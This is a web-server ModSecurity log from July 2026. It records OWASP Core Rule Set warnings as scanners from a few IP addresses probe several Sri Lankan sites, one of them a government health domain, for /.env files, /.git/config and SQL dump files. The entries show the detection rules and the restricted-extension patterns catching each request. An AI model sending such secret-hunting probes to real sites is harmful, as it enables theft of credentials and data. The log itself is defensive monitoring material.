[Fri Jul 17 08:27:09.488259 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBY1dLClkUfK_dfHhRwAAAAI"]
[Fri Jul 17 08:27:09.507897 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "systemtec.lk"] [uri "/dump.sql"] [unique_id "almaBTRCJXF37-WnVv0iXwAAABI"]
[Fri Jul 17 08:27:09.508281 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/dump.sql"] [unique_id "almaBTRCJXF37-WnVv0iXwAAABI"]
[Fri Jul 17 08:27:09.508634 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/dump.sql"] [unique_id "almaBTRCJXF37-WnVv0iXwAAABI"]
[Fri Jul 17 08:27:09.968720 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/.env.production"] [unique_id "almaBXt8zp89pALg8Q5k6QAAAA4"]
[Fri Jul 17 08:27:09.968961 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/.env.production"] [unique_id "almaBXt8zp89pALg8Q5k6QAAAA4"]
[Fri Jul 17 08:27:09.969249 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/.env.production"] [unique_id "almaBXt8zp89pALg8Q5k6QAAAA4"]
[Fri Jul 17 08:27:09.973217 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "nccp.health.gov.lk"] [uri "/.env.backup"] [unique_id "almaBRAi3pC6yjXGNq19CQAAAAU"]
[Fri Jul 17 08:27:09.973385 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/.env.backup"] [unique_id "almaBRAi3pC6yjXGNq19CQAAAAU"]
[Fri Jul 17 08:27:09.973591 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/.env.backup"] [unique_id "almaBRAi3pC6yjXGNq19CQAAAAU"]
[Fri Jul 17 08:27:09.973901 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/.env.backup"] [unique_id "almaBRAi3pC6yjXGNq19CQAAAAU"]
[Fri Jul 17 08:27:09.989736 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/.env.staging"] [unique_id "almaBQPhWp7RzB65h36eggAAAA0"]
[Fri Jul 17 08:27:09.990000 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/.env.staging"] [unique_id "almaBQPhWp7RzB65h36eggAAAA0"]
[Fri Jul 17 08:27:09.990345 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/.env.staging"] [unique_id "almaBQPhWp7RzB65h36eggAAAA0"]
[Fri Jul 17 08:27:10.028177 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/.env.local"] [unique_id "almaBkhq6UAnqYko0LpXEQAAABE"]
[Fri Jul 17 08:27:10.028434 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/.env.local"] [unique_id "almaBkhq6UAnqYko0LpXEQAAABE"]
[Fri Jul 17 08:27:10.028726 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/.env.local"] [unique_id "almaBkhq6UAnqYko0LpXEQAAABE"]
[Fri Jul 17 08:27:10.099473 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.192.229.88:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "trails.lk"] [uri "/dump.sql"] [unique_id "almaBo1dLClkUfK_dfHhSAAAAAI"]
[Fri Jul 17 08:27:10.099822 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/dump.sql"] [unique_id "almaBo1dLClkUfK_dfHhSAAAAAI"]
[Fri Jul 17 08:27:10.130217 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.229.88:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "trails.lk"] [uri "/backup.sql"] [unique_id "almaBjRCJXF37-WnVv0iYAAAABI"]
[Fri Jul 17 08:27:10.130585 2026] [security2:error] [pid 1994976:tid 1994976] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/backup.sql"] [unique_id "almaBjRCJXF37-WnVv0iYAAAABI"]
[Fri Jul 17 08:27:10.137018 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "nccp.health.gov.lk"] [uri "/.git/config"] [unique_id "almaBol9vhFBGA6D8l92IAAAAAw"]
[Fri Jul 17 08:27:10.137293 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/.git/config"] [unique_id "almaBol9vhFBGA6D8l92IAAAAAw"]
[Fri Jul 17 08:27:10.137608 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/.git/config"] [unique_id "almaBol9vhFBGA6D8l92IAAAAAw"]
[Fri Jul 17 08:27:10.138699 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "nccp.health.gov.lk"] [uri "/dump.sql"] [unique_id "almaBpOFLENLI63GGOEKAAAAAAQ"]
[Fri Jul 17 08:27:10.139085 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/dump.sql"] [unique_id "almaBpOFLENLI63GGOEKAAAAAAQ"]
[Fri Jul 17 08:27:10.139366 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/dump.sql"] [unique_id "almaBpOFLENLI63GGOEKAAAAAAQ"]
[Fri Jul 17 08:27:10.164897 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.229.88:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "trails.lk"] [uri "/.env"] [unique_id "almaBnRlmrtCoY_COpciUgAAAAg"]
[Fri Jul 17 08:27:10.165165 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/.env"] [unique_id "almaBnRlmrtCoY_COpciUgAAAAg"]
[Fri Jul 17 08:27:10.191254 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.236.14.214:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "nccp.health.gov.lk"] [uri "/database.sql"] [unique_id "almaBnjA8yK8B7kryx3hbQAAAAk"]
[Fri Jul 17 08:27:10.191675 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "nccp.health.gov.lk"] [uri "/database.sql"] [unique_id "almaBnjA8yK8B7kryx3hbQAAAAk"]
[Fri Jul 17 08:27:10.191998 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "nccp.health.gov.lk"] [uri "/database.sql"] [unique_id "almaBnjA8yK8B7kryx3hbQAAAAk"]
[Fri Jul 17 08:27:10.209840 2026] [security2:error] [pid 2002425:tid 2002425] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/.env.production"] [unique_id "almaBqUJv0yl2bIgVrkNIQAAABU"]
[Fri Jul 17 08:27:10.210144 2026] [security2:error] [pid 2002425:tid 2002425] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/.env.production"] [unique_id "almaBqUJv0yl2bIgVrkNIQAAABU"]
[Fri Jul 17 08:27:10.210593 2026] [security2:error] [pid 2002425:tid 2002425] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/.env.production"] [unique_id "almaBqUJv0yl2bIgVrkNIQAAABU"]
[Fri Jul 17 08:27:10.216472 2026] [security2:error] [pid 1993572:tid 1993572] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/.env.dev"] [unique_id "almaBol9vhFBGA6D8l92IQAAAAw"]
